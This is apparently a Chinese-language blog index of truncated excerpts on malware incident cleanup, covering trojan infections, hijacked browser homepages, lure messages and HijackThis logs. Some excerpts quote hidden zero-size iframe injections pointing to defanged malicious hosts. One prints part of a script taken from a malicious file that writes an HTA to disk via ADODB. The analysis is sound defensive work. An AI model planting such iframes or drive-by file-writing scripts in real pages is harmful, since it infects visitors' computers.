其他

endurer 原創2006-12-25 第1版今天通過QQ遠程協助幫又收到關於灰鴿子Backdoor.Gpigeon.uql的問題http://endurer.bokee.com/5950832.htmlhttp://blog.csdn.net/Purpleendurer/archive/2006/12/12/1440184.aspx中的網友處理。檢查瑞星殺毒軟體的記錄，發現如下資訊：/-----病毒名稱 處理結果 掃描方式  路徑  檔案 病毒來源Backdoor.Gpigeon.uql

某中國戶外資料網驢友評論頁面掛馬Trojan.PSW.Win32.GameOL.ojr等 endurer 原創2008-08-03 第1版在Google梅裡雪山的資料時，開啟某中國戶外資料網的驢友評論頁面hxxp://www.*8***2*6**4.com/comment/15267，瑞星提示：病毒名稱                  處理結果    查殺方式            訪問染毒檔案的進程                    檔案                  

小心題為：好久不見啦! 的郵件傳播Trojan-PSW.Win32.Maganiaendurer 原創2008-05-23 第1版主　題： 好久不見啦! 正　文： 哈囉妳最近好ㄇ??好想妳唷～我最好ㄌ好朋友唷～!!>0<......+-+......先掰啊～!!......要回信唷!!!附　件： 禬苂~~~苂苂!.zip檔案說明符 : D:/test/禬苂~~~苂苂!.zip屬性 : A---擷取檔案版本資訊大小失敗!建立時間 : 2008-5-19 21:56:29修改時間 : 2

endurer 原創2006-08-22 第1版 首頁有3處地方被加入：/--------＜iframe height=0 width=0 src="hxxp://***object.cnic**b.com/15"＞＜/iframe＞--------/hxxp://***object.cnic**b.com/15   的內容為插入許多空格的JavaScript指令碼，利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下載檔案 利用

endurer 原創2006-11-25 第1版QQ收到如下資訊：/------4*****1(4*****1)  (2006-11-25 17:31:11)看看我的嗨舞視頻~~~~才上傳到Q-Zone空間的...是不是有點太露了?hxxp://q-zone.qq.%64***%37*%67%2E****%63%6E/ID=****2*/**------/hxxp://q-zone.qq.%64***%37*%67%2E****%63%6E/ID=****2*/**  

endurer　原創2006-07-21　第1版論壇首頁被加入：------------------＜iframe src="hxxp://msbyl***.***go1.icpcn.com/" width="0" height="0" frameborder="0"＞＜/iframe＞------------------hxxp://msbyl***.***go1.icpcn.com/的代碼為：------------------＜SCRIPT language=VScript

endurer　原創2006-08-23 第1版有網友的電腦中的IE首頁被強制設定為 hxxp://www.haohao1.com。使用HijackThis（可以到 http://endurer.ys168.com 下載）掃描log，發現一個可疑項：/------------F2 - REG:system.ini: UserInit=C:/WINDOWS/system32/userinit.exe,C:/WINDOWS/system32/userint.exe------------/用

endurer　原創2006-07-21　第1版這一部分回憶一下修複過程。重啟電腦，按F8鍵，選擇以安全模式啟動，不料出錯：-------------因為以下檔案的損失或者丟失，Windows無法啟動<Windows root>/system32/ntoskrnl.exe請重新安裝以上檔案的拷貝。-------------但正常模式可以啟動。用瑞星註冊修複工具修複EXE檔案關聯用procview終止進程

endurer 原創2006-11-28 第1版一位網友的電腦，最近江民殺毒軟體總示發現yok*.*感染病毒，開機時會提示找不到檔案，讓偶幫忙檢查。開啟IE，發現首頁被設定為 hxxp://www.my123.com，到瑞星網站下載my123.com專殺工具，到 http://endurer.ys168.com 下載 HijackThis, ProcView。用瑞星my123.com專殺工具掃描，沒有發現可疑檔案……汗！江民KV好像沒有記錄匯出功能，汗！用 HijackThis 掃描

免費送瑞星產品序號？其實送的是Trojan-Downloader.Win32.VB.lbv endurer 原創2009-03-28 第1版 在某論壇上看到一個貼子，說是免費送瑞星產品序號。 點擊下載附件，卡巴斯基報告：hxxp://bbs.***.com/images/bbs4/attachment/200903/23/瑞星產品序號.rar//瑞星產品序號/4501.exe/CaptchaOCR.dll Maxthon Web Browser 檢測到威脅: Trojan-Downloader.

endurer 原創2006-12-04

遭遇 kangyi.exe/Trojan.Win32.Undef.hmf,smss.exe,SERVICES.EXE等2endurer 原創 2008-06-12 第1版(繼1)運行隨身碟上的 FileInfo （可到 http://purpleendurer.ys168.com下載）提取可疑檔案資訊，只得到：檔案說明符 : C:/WINDOWS/System32/kangyi.exe屬性 : -SH-擷取檔案版本資訊大小失敗!建立時間 : 2008-6-11 9:39:0修改時間 : 2008

又遇Trojan.PSW.Win32.QQPass,Trojan.PSW.Win32.GameOL等2endurer 原創 2008-06-16 第1版(繼1)到 http://purpleendurer.ys168.com下載 FileInfo、bat_do。先用FileInfo 提取log中的紅色標記的檔案的資訊，然後把log中的紅色標記的檔案加入/拖入 bat_do，全選，用rar壓縮備份，延時刪除，改所檔案名稱，延時刪除。下載並安裝

endurer　原創2006-04-08　第1版網頁：hxxp://www.***ai49.com/bbs/reg.asp有2處被插入了代碼：＜iframe height=0 width=0 src="hxxp://down.***gament.net/q/f"＞＜/iframe＞hxxp://down.***gament.net/q/f的代碼為： ＜script language="javascript" src="ah.js"＞＜/script＞  ah.js的代碼為：   GIF89a

語言種類：英文版本號碼：V6.31檔案大小：6653 K介面預覽：暫無發布日期：2005.07.01軟體類型：免費軟體等級：系統平台：Win 98/ME/2000/XP軟體廠商：H+BEDV Datentechnik

purpleendurer　原創2006-04-08　第1版對　發現一個使用技術升級、下載灰鴿子的網站　中的惡意檔案young.gif進行了分析和注釋，收穫頗多。其一便是利用ADODB寫檔案。下面的代碼是從young.gif中截取、修改的，用來寫入檔案c:/boot.hta。<html><HEAD></HEAD></HTML><SCRIPT language=JScript>try{ var strHello = "hello"; //

　　endurer原創 2005.11.04第1版　　*註：為了安全起見，文中惡意網址的“http://”均用“hxxp://”代替。　　昨晚幫同事（同事的電腦使用win

endurer　原創2006-07-30　第1版這個木馬會跑到資源回收筒裡藏身，相當狡猾！某個惡意網頁上的代碼會建立檔案 C:/VTDETETT.hTa 並運行。C:/VTDETETT.hTa 在IE臨時檔案夾中搜尋 bbs[1].css 並複製為 C:/recycled/ok.exe（C:/recycled 就是資源回收筒所用的檔案夾）；建立檔案 CMD.DAT 並運行。CMD.DAT 負責刪除 C:/VTDETETT.hTa 和 CMD.DATKaspersky

endurer 原創2006-11-30 第1版一位網友的電腦，IE瀏覽器首頁被強制設定為www.6781.com，讓偶幫忙檢修。到 http://endurer.ys168.com 下載 HijackThis  和 ProcView。在用 HijackThis 掃描 log，產生啟動項列表，用 ProcView 匯出的系統進程列表，傳回來。在 HijackThis 掃描的 log發現如下可疑項：/-------Logfile of HijackThis v1.99.1Scan saved

endurer　原創2006-03-18　第1版 剛才幫一位朋友弄印表機，順手到http://endurer.ys168.com下載HijackThis掃描，除了發現雅虎助手，一搜工具條，新浪點點通，新浪下載助手，3721中文郵，DuDu等討厭的東東外，還有一項：  O4 - HKLM/../Run: [OFFICE]